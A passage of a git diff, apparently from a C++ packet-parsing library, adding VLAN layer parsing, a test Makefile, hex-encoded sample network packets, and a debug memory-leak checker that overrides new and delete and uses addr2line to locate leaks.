m_Protocol = VLAN; + + vlan_header* vlanHeader = getVlanHeader(); + setVlanID(vlanID); + vlanHeader->cfi = cfi; + vlanHeader->priority = 0x07 & priority; + vlanHeader->etherType = htons(etherType); +} + +void VlanLayer::parseNextLayer() +{ + if (m_DataLen <= sizeof(vlan_header)) + return; + + vlan_header* hdr = getVlanHeader(); + switch (ntohs(hdr->etherType)) + { + case ETHERTYPE_IP: + m_NextLayer = new IPv4Layer(m_Data + sizeof(vlan_header), m_DataLen - sizeof(vlan_header), this); + break; + case ETHERTYPE_IPV6: + m_NextLayer = new IPv6Layer(m_Data + sizeof(vlan_header), m_DataLen - sizeof(vlan_header), this); + break; + case ETHERTYPE_ARP: + m_NextLayer = new ArpLayer(m_Data + sizeof(vlan_header), m_DataLen - sizeof(vlan_header), this); + break; + case ETHERTYPE_VLAN: + m_NextLayer = new VlanLayer(m_Data + sizeof(vlan_header), m_DataLen - sizeof(vlan_header), this); + break; + default: + m_NextLayer = new PayloadLayer(m_Data + sizeof(vlan_header), m_DataLen - sizeof(vlan_header), this); + } +} diff --git a/Packet++Test/Makefile b/Packet++Test/Makefile new file mode 100644 index 0000000000..b8d7004981 --- /dev/null +++ b/Packet++Test/Makefile @@ -0,0 +1,76 @@ +-include ../mk/platform.mk + +SOURCES := $(wildcard *.cpp) +OBJS_FILENAMES := $(patsubst %.cpp,%.o,$(SOURCES)) +OBJS := $(patsubst %.cpp,./Obj/%.o,$(SOURCES)) + +COMMONPP_HOME := ../Common++ +PACKTPP_HOME := ../Packet++ + +ifdef WIN32 +DEPS := -DWPCAP -DHAVE_REMOTE +endif + +INCLUDES := -I$(PACKTPP_HOME)/header -I../Packet++Test -I$(COMMONPP_HOME)/header +ifdef WIN32 +INCLUDES += -I$(WINPCAP_HOME)/Include +endif +ifdef LINUX +INCLUDES += -I/usr/include/netinet +endif + + +$(OBJS_FILENAMES): + @echo 'Building file: $(@:%.o=%.cpp)' + @echo 'Invoking: GCC C++ Compiler' + $(G++) $(DEPS) $(INCLUDES) -O2 -g -Wall -c -fmessage-length=0 -MMD -MP -MF"$(@:%.o=./Obj/%.d)" -MT"$(@:%.o=./Obj/%.d)" -o "./Obj/$@" "$(@:%.o=%.cpp)" + @echo 'Finished building: $(@:%.o=%.cpp)' + @echo ' ' + +LIBS_DIR := -L$(PACKTPP_HOME)/Lib -L$(COMMONPP_HOME)/Lib +ifdef WIN32 +LIBS_DIR += -L$(WINPCAP_HOME)/lib \ + -L$(MINGW_HOME)/lib +endif + +LIBS := -lPacket++ -lCommon++ +ifdef WIN32 +LIBS += -lwpcap -lpthread -lws2_32 +endif +ifdef LINUX +LIBS += -lpcap -lpthread +endif + +POST_BUILD := +ifdef WIN32 +POST_BUILD += $(CP) $(MINGW_HOME)/bin/pthreadGC2.dll ./Bin +endif + +UNAME := $(shell uname) + +# All Target +all: Packet++Test + +dependents: + -cd $(COMMONPP_HOME) && $(MAKE) all + -cd $(PACKTPP_HOME) && $(MAKE) all + +dependents-clean: + -cd $(COMMONPP_HOME) && $(MAKE) clean + -cd $(PACKTPP_HOME) && $(MAKE) clean + +# Tool invocations +Packet++Test: $(OBJS_FILENAMES) dependents + @echo uname is: $(UNAME) + @echo 'Building target: $@' + @echo 'Invoking C++ Linker' + $(G++) $(LIBS_DIR) -static-libgcc -static-libstdc++ -o "./Bin/Packet++Test$(BIN_EXT)" $(OBJS) $(USER_OBJS) $(LIBS) + $(POST_BUILD) + @echo 'Finished successfully building target: $@' + @echo ' ' + +# Other Targets +clean: dependents-clean + $(RM) -rf ./Obj/* + $(RM) -rf ./Bin/* + @echo 'Clean finished' \ No newline at end of file diff --git a/Packet++Test/PacketExamples/ArpPacket.dat b/Packet++Test/PacketExamples/ArpPacket.dat new file mode 100644 index 0000000000..ddd397c44e --- /dev/null +++ b/Packet++Test/PacketExamples/ArpPacket.dat @@ -0,0 +1 @@ +6cf049b2de6e30469a23fbfa0806000108000604000230469a23fbfa0a00008a6cf049b2de6e0a000004742066726f6d20627269646765000903e000 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/ArpRequestPacket.dat b/Packet++Test/PacketExamples/ArpRequestPacket.dat new file mode 100644 index 0000000000..b795b9342d --- /dev/null +++ b/Packet++Test/PacketExamples/ArpRequestPacket.dat @@ -0,0 +1 @@ +ffffffffffff6cf049b2de6e080600010800060400016cf049b2de6e0a0000010000000000000a00008a \ No newline at end of file diff --git a/Packet++Test/PacketExamples/ArpRequestPacket.pcap b/Packet++Test/PacketExamples/ArpRequestPacket.pcap new file mode 100644 index 0000000000..d0d787d8ec Binary files /dev/null and b/Packet++Test/PacketExamples/ArpRequestPacket.pcap differ diff --git a/Packet++Test/PacketExamples/ArpRequestWithVlan.dat b/Packet++Test/PacketExamples/ArpRequestWithVlan.dat new file mode 100644 index 0000000000..61093b4fdb --- /dev/null +++ b/Packet++Test/PacketExamples/ArpRequestWithVlan.dat @@ -0,0 +1 @@ +ffffffffffffca030db4001c81000064810000c808060001080006040001ca030db4001cc0a802c8000000000000c0a802fe \ No newline at end of file diff --git a/Packet++Test/PacketExamples/ArpRequestWithVlan.pcap b/Packet++Test/PacketExamples/ArpRequestWithVlan.pcap new file mode 100644 index 0000000000..847f56e3af Binary files /dev/null and b/Packet++Test/PacketExamples/ArpRequestWithVlan.pcap differ diff --git a/Packet++Test/PacketExamples/ArpResponsePacket.dat b/Packet++Test/PacketExamples/ArpResponsePacket.dat new file mode 100644 index 0000000000..f82766cde2 --- /dev/null +++ b/Packet++Test/PacketExamples/ArpResponsePacket.dat @@ -0,0 +1 @@ +6cf049b2de6e30469a23fbfa0806000108000604000230469a23fbfa0a00008a6cf049b2de6e0a000001742066726f6d206272696467650037003d20 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/ArpResponsePacket.pcap b/Packet++Test/PacketExamples/ArpResponsePacket.pcap new file mode 100644 index 0000000000..fc737e3c0e Binary files /dev/null and b/Packet++Test/PacketExamples/ArpResponsePacket.pcap differ diff --git a/Packet++Test/PacketExamples/IPv6UdpPacket.dat b/Packet++Test/PacketExamples/IPv6UdpPacket.dat new file mode 100644 index 0000000000..6a66ebb565 --- /dev/null +++ b/Packet++Test/PacketExamples/IPv6UdpPacket.dat @@ -0,0 +1 @@ +33330000000c6cf049b2de6e86dd60000000009a1101fe800000000000004dc7f5931f7bdc11ff02000000000000000000000000000cf88c076c009a5fea4d2d534541524348202a20485454502f312e310d0a486f73743a5b464630323a3a435d3a313930300d0a53543a75726e3a4d6963726f736f66742057696e646f77732050656572204e616d65205265736f6c7574696f6e2050726f746f636f6c3a2056343a495056363a4c696e6b4c6f63616c0d0a4d616e3a22737364703a646973636f766572220d0a4d583a330d0a0d0a \ No newline at end of file diff --git a/Packet++Test/PacketExamples/IPv6UdpPacket.pcap b/Packet++Test/PacketExamples/IPv6UdpPacket.pcap new file mode 100644 index 0000000000..d65ecf7fec Binary files /dev/null and b/Packet++Test/PacketExamples/IPv6UdpPacket.pcap differ diff --git a/Packet++Test/PacketExamples/IcmpPacket.dat b/Packet++Test/PacketExamples/IcmpPacket.dat new file mode 100644 index 0000000000..7851223157 --- /dev/null +++ b/Packet++Test/PacketExamples/IcmpPacket.dat @@ -0,0 +1 @@ +30469a23fbfa6cf049b2de6e08004500003c1a570000800114650a0000040101010108004d5a000100016162636465666768696a6b6c6d6e6f7071727374757677616263646566676869 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/TcpPacket.dat b/Packet++Test/PacketExamples/TcpPacket.dat new file mode 100644 index 0000000000..64c441f705 --- /dev/null +++ b/Packet++Test/PacketExamples/TcpPacket.dat @@ -0,0 +1 @@ +30469a23fbfa6cf049b2de6e0800450004451ff6400080062dbc0a000004d4c7ca35c8100050fb53c936aba5f6ed501840d881b80000474554202f686f6d652f302c373334302c4c2d382c30302e68746d6c20485454502f312e310d0a486f73743a207777772e796e65742e636f2e696c0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e313b2072763a32332e3029204765636b6f2f32303130303130312046697265666f782f32332e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e350d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a444e543a20310d0a436f6f6b69653a205f6479636e6f6162633d313337393336333732323334333b205f5f75746d613d312e3833353332393835332e313337393037373939342e313337393237383835342e313337393336313139372e383b205f5f75746d7a3d312e313337393037373939342e312e312e75746d6373723d28646972656374297c75746d63636e3d28646972656374297c75746d636d643d286e6f6e65293b205f6479636d633d3535353b205f647975735f383736353233353d37363633372537433536373232372537433137392537433025374330253743302e302e313336323038313932393832392e313337393336333732313636362e31373238313739312e30253743323538253743333825374338253743313133253743313725374330253743323225374334362537433025374338253743313125374331372537433132332537433130332537433237253743353625374335352537433234332537433136352537433136302537433231332537433436352537433439353b205f64796373743d74672e7432322e772e667276342e662e6c746f732e61682e636c6b2e6e63332e77732e3b205f636861727462656174323d3974733062636e696e6d6f786b7776312e313337323739383833363935342e313337393336333732313835382e313131313131313131313130313130313b205f647972695f383736353233353d3b2076676e76697369746f723d714231504d3030303143773030304d416b773075447a654f77383b20646373796e63796e743d747275653b20746d63796e743d3030303030303030303030303030303030303030303030303030303031303b20746d796e743d3030303030303030303030303030303030303030303030303030303030303b205f6368617274626561745f75756e69713d313b20646561646c6f636b733d583b205f5f75746d633d313b205f64797573735f383736353233353d343b20796e657473746c6b6263743d7831303030303073307334343330333335730d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a \ No newline at end of file diff --git a/Packet++Test/PacketExamples/TcpPacketNoOptions.dat b/Packet++Test/PacketExamples/TcpPacketNoOptions.dat new file mode 100644 index 0000000000..8fc3c07e6d --- /dev/null +++ b/Packet++Test/PacketExamples/TcpPacketNoOptions.dat @@ -0,0 +1 @@ +6cf049b2de6e30469a23fbfa080045000115a80040003c06ecd4d4c7ca450a0000010050ebe4beab364af9ffb58e50182d3c4c030000485454502f312e3120333031204d6f766564205065726d616e656e746c790d0a5365727665723a20416b616d616947486f73740d0a436f6e74656e742d4c656e6774683a20300d0a4c6f636174696f6e3a202f686f6d652f302c373334302c4c2d382c30302e68746d6c0d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a457870697265733a204672692c2032362053657020323031342032323a32333a323420474d540d0a446174653a204672692c2032362053657020323031342032323a32333a323420474d540d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a \ No newline at end of file diff --git a/Packet++Test/PacketExamples/TcpPacketNoOptions.pcap b/Packet++Test/PacketExamples/TcpPacketNoOptions.pcap new file mode 100644 index 0000000000..e701493898 Binary files /dev/null and b/Packet++Test/PacketExamples/TcpPacketNoOptions.pcap differ diff --git a/Packet++Test/PacketExamples/TcpPacketWithOptions.dat b/Packet++Test/PacketExamples/TcpPacketWithOptions.dat new file mode 100644 index 0000000000..ca2d553660 --- /dev/null +++ b/Packet++Test/PacketExamples/TcpPacketWithOptions.dat @@ -0,0 +1 @@ +30469a23fbfa080027191c7808004500035737764000400657540a000006d4c7ca09ac7300502e50cd6ee02e1aa980180391ac2000000101080a0002fa1ed3f01f77474554202f20485454502f312e310d0a486f73743a207777772e796e65742e636f2e696c0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b205562756e74753b204c696e757820693638363b2072763a32302e3029204765636b6f2f32303130303130312046697265666f782f32302e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e350d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a436f6f6b69653a205f5f75746d613d312e313634343731363833342e313336353632323138322e313336353632323138322e313336353632323138322e313b205f5f75746d7a3d312e313336353632323138322e312e312e75746d6373723d28646972656374297c75746d63636e3d28646972656374297c75746d636d643d286e6f6e65293b20646373796e63796e743d747275653b20746d63796e743d3030303030303030303030303030303030303030303030303030303031303b205f647969643d3236383430343637383b205f647975735f383736353233353d3325374330253743312537433125374330253743302e302e313336353632323138363136322e313336353632323236303331342e37342e302537433939253743313525374333253743313133253743322537433025374330253743302537433025374330253743302537433225374330253743302537433025374330253743302537433225374330253743302537433025374330253743303b205f64796373743d74672e667276322e6672732e662e77732e3b205f636861727462656174323d363774663835697437657a63386a78372e313336353632323138373038312e313336353632323236303535302e30303030303030303030303030313b205f647972695f383736353233353d3b205f6479636162633d313336353632323236303937350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a \ No newline at end of file diff --git a/Packet++Test/PacketExamples/TcpPacketWithOptions.pcap b/Packet++Test/PacketExamples/TcpPacketWithOptions.pcap new file mode 100644 index 0000000000..6c656d7fb7 Binary files /dev/null and b/Packet++Test/PacketExamples/TcpPacketWithOptions.pcap differ diff --git a/Packet++Test/PacketExamples/TcpPacketWithOptions2.dat b/Packet++Test/PacketExamples/TcpPacketWithOptions2.dat new file mode 100644 index 0000000000..f68e47f79e --- /dev/null +++ b/Packet++Test/PacketExamples/TcpPacketWithOptions2.dat @@ -0,0 +1 @@ +080027191c7830469a23fbfa08004500003d4f4c40003b064798d4c7ca090a0000060050ac80b829cb98e977158680184ed2f2aa00000101080ad3f03998000300950049454e44ae426082 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/TcpPacketWithOptions2.pcap b/Packet++Test/PacketExamples/TcpPacketWithOptions2.pcap new file mode 100644 index 0000000000..bf710b8c33 Binary files /dev/null and b/Packet++Test/PacketExamples/TcpPacketWithOptions2.pcap differ diff --git a/Packet++Test/PacketExamples/TcpPacketWithOptions3.dat b/Packet++Test/PacketExamples/TcpPacketWithOptions3.dat new file mode 100644 index 0000000000..ad5a0b027d --- /dev/null +++ b/Packet++Test/PacketExamples/TcpPacketWithOptions3.dat @@ -0,0 +1 @@ +30469a23fbfa080027191c7808004500003c06144000400620f70a000006172cf27feb4100502d3904e000000000a002390813e00000020405b40402080a000302f40000000001030304 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/TcpPacketWithOptions3.pcap b/Packet++Test/PacketExamples/TcpPacketWithOptions3.pcap new file mode 100644 index 0000000000..81f84a1471 Binary files /dev/null and b/Packet++Test/PacketExamples/TcpPacketWithOptions3.pcap differ diff --git a/Packet++Test/PacketExamples/UdpPacket.dat b/Packet++Test/PacketExamples/UdpPacket.dat new file mode 100644 index 0000000000..7fba8ba08b --- /dev/null +++ b/Packet++Test/PacketExamples/UdpPacket.dat @@ -0,0 +1 @@ +33330000000c6cf049b2de6e86dd60000000009a1101fe800000000000004dc7f5931f7bdc11ff02000000000000000000000000000cfd8d076c009a5ae94d2d534541524348202a20485454502f312e310d0a486f73743a5b464630323a3a435d3a313930300d0a53543a75726e3a4d6963726f736f66742057696e646f77732050656572204e616d65205265736f6c7574696f6e2050726f746f636f6c3a2056343a495056363a4c696e6b4c6f63616c0d0a4d616e3a22737364703a646973636f766572220d0a4d583a330d0a0d0a \ No newline at end of file diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum.dat.old b/Packet++Test/PacketExamples/UdpPacket4Checksum.dat.old new file mode 100644 index 0000000000..cded3de740 --- /dev/null +++ b/Packet++Test/PacketExamples/UdpPacket4Checksum.dat.old @@ -0,0 +1 @@ +080027191c7830469a23fbfa08004500004900004000401126150a00008a0a0000060035e6d90035aaa7926881800001000100000000056a6461746502636f02696c0000010001c00c000100010000002f000440105038 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum.pcap b/Packet++Test/PacketExamples/UdpPacket4Checksum.pcap new file mode 100644 index 0000000000..2acb67a42e Binary files /dev/null and b/Packet++Test/PacketExamples/UdpPacket4Checksum.pcap differ diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum.pcap.old b/Packet++Test/PacketExamples/UdpPacket4Checksum.pcap.old new file mode 100644 index 0000000000..295e3df4cf Binary files /dev/null and b/Packet++Test/PacketExamples/UdpPacket4Checksum.pcap.old differ diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum1.dat b/Packet++Test/PacketExamples/UdpPacket4Checksum1.dat new file mode 100644 index 0000000000..24d001398c --- /dev/null +++ b/Packet++Test/PacketExamples/UdpPacket4Checksum1.dat @@ -0,0 +1 @@ +080027191c7830469a23fbfa08004500005e00004000401126000a00008a0a00000600355420004aee19392781800001000200000000056461697379067562756e747503636f6d0000010001c00c000100010000004400045bbd5f36c00c000100010000004400045bbd5f37 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum2.dat b/Packet++Test/PacketExamples/UdpPacket4Checksum2.dat new file mode 100644 index 0000000000..f4f6dd2475 --- /dev/null +++ b/Packet++Test/PacketExamples/UdpPacket4Checksum2.dat @@ -0,0 +1 @@ +080027191c7830469a23fbfa08004500009700004000401125c70a00008a0a0000060035c8770083d74b2c30818000010004000000000377777704796e657402636f02696c0000010001c00c0005000100000082001404796e657402636f02696c03643470036e657400c02c0005000100003c17000f03613339016706616b616d6169c03bc04c00010001000000060004d4c7ca09c04c00010001000000060004d4c7ca35 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum3.dat b/Packet++Test/PacketExamples/UdpPacket4Checksum3.dat new file mode 100644 index 0000000000..7230ef8c0f --- /dev/null +++ b/Packet++Test/PacketExamples/UdpPacket4Checksum3.dat @@ -0,0 +1 @@ +080027191c7830469a23fbfa08004500007d00004000401125e10a00008a0a0000060035c2a400696194161381830001000000010000047770616400000100010000060001000011dd004001610c726f6f742d73657276657273036e657400056e73746c640c766572697369676e2d67727303636f6d0077fcb559000007080000038400093a8000015180 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum4.dat b/Packet++Test/PacketExamples/UdpPacket4Checksum4.dat new file mode 100644 index 0000000000..21c0d6833b --- /dev/null +++ b/Packet++Test/PacketExamples/UdpPacket4Checksum4.dat @@ -0,0 +1 @@ +080027191c7830469a23fbfa08004500008200004000401125dc0a00008a0a0000060035e959006e9b1dc82881830001000000010000047770616404484f4d45000001000100000600010000123e004001610c726f6f742d73657276657273036e657400056e73746c640c766572697369676e2d67727303636f6d0077fcb559000007080000038400093a8000015180 \ No newline at end of file diff --git a/Packet++Test/PacketExamples/UdpPacket4Checksum5.dat b/Packet++Test/PacketExamples/UdpPacket4Checksum5.dat new file mode 100644 index 0000000000..2b184b594b --- /dev/null +++ b/Packet++Test/PacketExamples/UdpPacket4Checksum5.dat @@ -0,0 +1 @@ +080027191c7830469a23fbfa08004500009800004000401125c60a00008a0a000006003511500084e19ef95f8180000100040000000003777777056d796e657402636f02696c0000010001c00c0005000100000347001404796e657402636f02696c03643470036e657400c02d0005000100000091000f03613339016706616b616d6169c03cc04d000100010000000b0004d4c7ca09c04d000100010000000b0004d4c7ca35 \ No newline at end of file diff --git a/Packet++Test/debug_new.cpp b/Packet++Test/debug_new.cpp new file mode 100644 index 0000000000..d8ca54b0e2 --- /dev/null +++ b/Packet++Test/debug_new.cpp @@ -0,0 +1,539 @@ +/* + * debug_new.cpp 1.11 2003/07/03 + * + * Implementation of debug versions of new and delete to check leakage + * + * By Chen jiangbo + * + */ + +#include +#include +#include +#include +#include +#include + +#ifdef _MSC_VER +#pragma warning(disable: 4073) +#pragma init_seg(lib) +#endif + +#define _DEBUG_NEW_CALLER_ADDRESS __builtin_return_address(0) + + +#ifndef DEBUG_NEW_HASHTABLESIZE +#define DEBUG_NEW_HASHTABLESIZE 16384 +#endif + +#ifndef DEBUG_NEW_HASH +#define DEBUG_NEW_HASH(p) (((unsigned)(p) >> 8) % DEBUG_NEW_HASHTABLESIZE) +#endif + +// The default behaviour now is to copy the file name, because we found +// that the exit leakage check cannot access the address of the file +// name sometimes (in our case, a core dump will occur when trying to +// access the file name in a shared library after a SIGINT). +#ifndef DEBUG_NEW_FILENAME_LEN +#define DEBUG_NEW_FILENAME_LEN 32 +#endif +#if DEBUG_NEW_FILENAME_LEN == 0 && !defined(DEBUG_NEW_NO_FILENAME_COPY) +#define DEBUG_NEW_NO_FILENAME_COPY +#endif +#ifndef DEBUG_NEW_NO_FILENAME_COPY +#include +#endif + +#define PATH_SIZE 128 +#define ADDR2LINE_CMD "addr2line -e %s %08lx %s" +#define CMD_OPT "%s %08lx %s" + +struct new_ptr_list_t +{ + new_ptr_list_t* next; +#ifdef DEBUG_NEW_NO_FILENAME_COPY + const char* file; +#else + char file[DEBUG_NEW_FILENAME_LEN]; +#endif + int line; + size_t size; +}; + +typedef struct pmap_line { + unsigned long vm_start; + unsigned long vm_end; + char perm[5]; /* permission */ + char path[PATH_SIZE]; + bool absolute; /* Is the absoluted address*/ + struct pmap_line *next; +} pmap_line_t; + +static unsigned int total_size = 0; +static pmap_line_t *pmap_line_head=NULL; + +static void free_pmap_line() +{ + pmap_line_t *line=NULL; + while((line=pmap_line_head) != NULL) + { + pmap_line_head=pmap_line_head->next; + free(line); + } +} + +static new_ptr_list_t* new_ptr_list[DEBUG_NEW_HASHTABLESIZE]; + +bool new_verbose_flag = false; +bool new_autocheck_flag = true; + +static void getpmaps(pid_t pid) +{ + + FILE *f; + char buf[4096+100]={0}; + pmap_line_t *pmap_line_tail=NULL; + pmap_line_t *line=NULL; + char fname [50]={0}; + long int offset; + int major; + int minor; + int inode; + + //sprintf(fname, "/proc/%ld/maps", (long)pid); + sprintf(fname, "D:\\proc\\maps"); + f = fopen(fname, "r"); + if(!f) { + printf("open file : %s failed \n", fname); + return; + } + + while(!feof(f)) + { + /*get the line from the file*/ + if(fgets(buf, sizeof(buf), f) == 0) { + break; + } + + /*allocate the memory for storing the VMA information*/ + line=(pmap_line_t*)malloc(sizeof(pmap_line_t)); + if (!line) { + printf("malloc failed\n"); + return; + } + + /*init the allocated memory*/ + memset(line, sizeof(pmap_line_t), 0); + + /*parse the line */ + sscanf(buf, "%lx-%lx %4s %lx %02x:%02x %d %s", + &line->vm_start, &line->vm_end, line->perm, &offset, &major, &minor, &inode, line->path); + line->next=NULL; + + if (line->perm[2] != 'x' || strstr(buf, "/usr/lib") || strstr(buf, "/lib/") + || 0 == inode || 0 != offset) { + free(line); + continue; + } + + if (strstr(buf, ".so")) { + line->absolute = false; + } else { + line->absolute = true; + } + if(!pmap_line_head) + { + pmap_line_head=line; + } + if(pmap_line_tail) + { + pmap_line_tail->next=line; + } + pmap_line_tail = line; + } + + /*print the parsed result*/ + line=pmap_line_head; + while(line) + { + printf("%08lx-%08lx %s %s\n",line->vm_start,line->vm_end, line->perm, line->path); + line=line->next; + } + + /*close the map file*/ + fclose(f); +} + +static char* canReadAndEexcAddr(unsigned long addr, unsigned long *pStartAddr) +{ + pmap_line_t *line=pmap_line_head; + + if(!pmap_line_head) + { + printf("Elad: pmap_line_head is 0\n"); + return 0; + } + + while(line) + { + if(line->perm[0] == 'r' && line->perm[2] == 'x' && + addr >= line->vm_start && addr <=line->vm_end) + { + if (line->absolute) { + *pStartAddr = 0; + } else { + *pStartAddr = line->vm_start; + } + printf("Elad: returning line->path: %s\n", line->path); + return line->path; + } + line=line->next; + } + + printf("cannot read address %#08lx\n",addr); + + printf("Elad: returning null\n"); + return NULL; + +} + +static long last_addr = 0; +static char last_info[256] = ""; + +static bool get_position_from_addr(char* programe, const long addr) +{ + if (addr == last_addr) + { + if (last_info[0] == '\0') + return false; + return true; + } + if (programe) + { + const char addr2line_cmd[] = ADDR2LINE_CMD; + char ignore_err[] = " 2>/dev/null"; + char *cmd; + + cmd = (char *)alloca(sizeof(addr2line_cmd) - sizeof(CMD_OPT) + + strlen(programe) - 1 + + 8 + + sizeof(ignore_err)); + + sprintf(cmd, addr2line_cmd, programe, addr, ignore_err); + + size_t len = strlen(cmd); + + //printf("CMD: %s \n", cmd); + + FILE* fp = popen(cmd, "r"); + if (fp) + { + char buffer[sizeof last_info] = ""; + len = 0; + if (fgets(buffer, sizeof buffer, fp)) + { + len = strlen(buffer); + if (buffer[len - 1] == '\n') + buffer[--len] = '\0'; + } + int res = pclose(fp); + // Display the file/line information only if the command + // is executed successfully and the output points to a + // valid position, but the result will be cached if only + // the command is executed successfully. + if (res == 0 && len > 0) + { + last_addr = addr; + if (buffer[len - 1] == '0' && buffer[len - 2] == ':') { + last_info[0] = '\0'; + fprintf(stderr, "Can't locate the address at %lx\n", addr); + } + else + { + strcpy(last_info, buffer); + return true; + } + } + } else { + fprintf(stderr, "popen failed!\n"); + } + } + return false; +} + +bool locate_addr(char* file, int* line) +{ + unsigned long start_addr = 0; + char* program_path = NULL; + char* slash_index = NULL; + char* colon_index = NULL; + bool result = false; + + printf("Elad: got to locate_addr\n"); + if (!pmap_line_head) { + getpmaps(getpid()); + } + + program_path = canReadAndEexcAddr(((long *)file)[0], &start_addr); + + if (program_path) { + result = get_position_from_addr(program_path, ((long *)file)[0] - start_addr); + if (result) { + colon_index = strrchr(last_info, ':'); + if (!colon_index) { + printf("ERR:last_info: %s\n", last_info); + printf("Elad: !colon_index\n"); + return false; + } + *line = atoi(colon_index + 1); + *colon_index = '\0'; + slash_index = strrchr(last_info, '/'); + if (!slash_index) { + printf("ERR:last_info: %s\n", last_info); + printf("Elad: !slash_index\n"); + return false; + } + strcpy(file, slash_index + 1); + // restore the colon + *colon_index = ':'; + } else { + strcpy(file, "Unknown"); + *line = 0; + } + } else { + printf("Elad: program_path is null\n"); + return false; + } + printf("Elad: return true\n"); + return true; +} + + +bool check_leaks() +{ + bool fLeaked = false; + bool ret = false; + + for (int i = 0; i < DEBUG_NEW_HASHTABLESIZE; ++i) + { + new_ptr_list_t* ptr = new_ptr_list[i]; + if (ptr == NULL) + continue; + fLeaked = true; + while (ptr) + { + if (!ptr->line) { + ret = locate_addr(ptr->file, &ptr->line); + } + else { + printf("Elad: !ptr->line\n"); + } + if (ret) { + printf("Elad: ret returned true\n"); + printf("Leaked object at %p (size %u, %s:%d)\n", + (char*)ptr + sizeof(new_ptr_list_t), + ptr->size, + ptr->file, + ptr->line); + } + else { + printf("Elad: ret returned false\n"); + printf("Leaked object at %p (size %u, %s:%d)\n", + (char*)ptr + sizeof(new_ptr_list_t), + ptr->size, + ptr->file, + ptr->line); + + ptr = ptr->next; + } + } + } + free_pmap_line(); + + if (fLeaked) { + return true; + } else { + return false; + } +} + + +void* operator new(size_t size, const char* file, int line) +{ + char file_name[PATH_SIZE]; + + size_t s = size + sizeof(new_ptr_list_t); + new_ptr_list_t* ptr = (new_ptr_list_t*)malloc(s); + if (ptr == NULL) + { + if (0 == line) { + // release memory for memory check program + for (int i = 0; i < DEBUG_NEW_HASHTABLESIZE; ++i) + { + new_ptr_list_t* ptr_tmp = new_ptr_list[i]; + if (ptr_tmp == NULL) { + continue; + } else if (ptr_tmp == ptr) { + continue; + } else { + delete((char*)ptr_tmp + sizeof(new_ptr_list_t)); + } + } + memcpy(file_name, &file, 4); // address occupy 4 bytes + locate_addr(file_name, &line); + } + + fprintf(stderr, "new: out of memory when allocating %u bytes at %s:%d\n", + size, + file_name, + line); + abort(); + } + total_size = total_size + size; + void* pointer = (char*)ptr + sizeof(new_ptr_list_t); + size_t hash_index = DEBUG_NEW_HASH(pointer); + ptr->next = new_ptr_list[hash_index]; +#ifdef DEBUG_NEW_NO_FILENAME_COPY + ptr->file = file; +#else + if (0 == line) { + memcpy(ptr->file, &file, sizeof(void *)); + } else { + strncpy(ptr->file, file, DEBUG_NEW_FILENAME_LEN - 1); + ptr->file[DEBUG_NEW_FILENAME_LEN - 1] = '\0'; + } +#endif + ptr->line = line; + ptr->size = size; + new_ptr_list[hash_index] = ptr; + if (new_verbose_flag) { + printf("new: allocated %p (size %u)\n", pointer, size); + } + return pointer; +} + +void* operator new[](size_t size, const char* file, int line) +{ + return operator new(size, file, line); +} + +void* operator new(size_t size) +{ + return operator new(size, (char *)_DEBUG_NEW_CALLER_ADDRESS, 0); +} + +void* operator new[](size_t size) +{ + return operator new(size, (char *)_DEBUG_NEW_CALLER_ADDRESS, 0); +} + +void* operator new(size_t size, const std::nothrow_t&) throw() +{ + return operator new(size, (char *)_DEBUG_NEW_CALLER_ADDRESS, 0); +} + +void* operator new[](size_t size, const std::nothrow_t&) throw() +{ + return operator new[](size, (char *)_DEBUG_NEW_CALLER_ADDRESS, 0); +} + +void operator delete(void* pointer) +{ + if (pointer == NULL) + return; + size_t hash_index = DEBUG_NEW_HASH(pointer); + new_ptr_list_t* ptr = new_ptr_list[hash_index]; + new_ptr_list_t* ptr_last = NULL; + while (ptr) + { + if ((char*)ptr + sizeof(new_ptr_list_t) == pointer) + { + total_size = total_size - ptr->size; + if (new_verbose_flag) { + printf("delete: freeing %p (size %u)\n", pointer, ptr->size); + } + + if (ptr_last == NULL) + new_ptr_list[hash_index] = ptr->next; + else + ptr_last->next = ptr->next; + free(ptr); + return; + } else if ((char*)ptr + sizeof(new_ptr_list_t) == (char *)pointer - 8) { + char file_name[PATH_SIZE]; + int line = 0; + + memcpy(file_name, &((long *)ptr->file)[0], 4); + locate_addr(file_name, &line); + printf("ERR: Maybe delete a array missing [] before the pointer at %s:%d\n", file_name, line); + } + ptr_last = ptr; + ptr = ptr->next; + } + fprintf(stderr, "delete: invalid pointer %p\n", pointer); +} + +void operator delete[](void* pointer) +{ + operator delete(pointer); +} + +// Some older compilers like Borland C++ Compiler 5.5.1 and Digital Mars +// Compiler 8.29 do not support placement delete operators. +// NO_PLACEMENT_DELETE needs to be defined when using such compilers. +// Also note that in that case memory leakage will occur if an exception +// is thrown in the initialization (constructor) of a dynamically +// created object. +#ifndef NO_PLACEMENT_DELETE +void operator delete(void* pointer, const char* file, int line) +{ + if 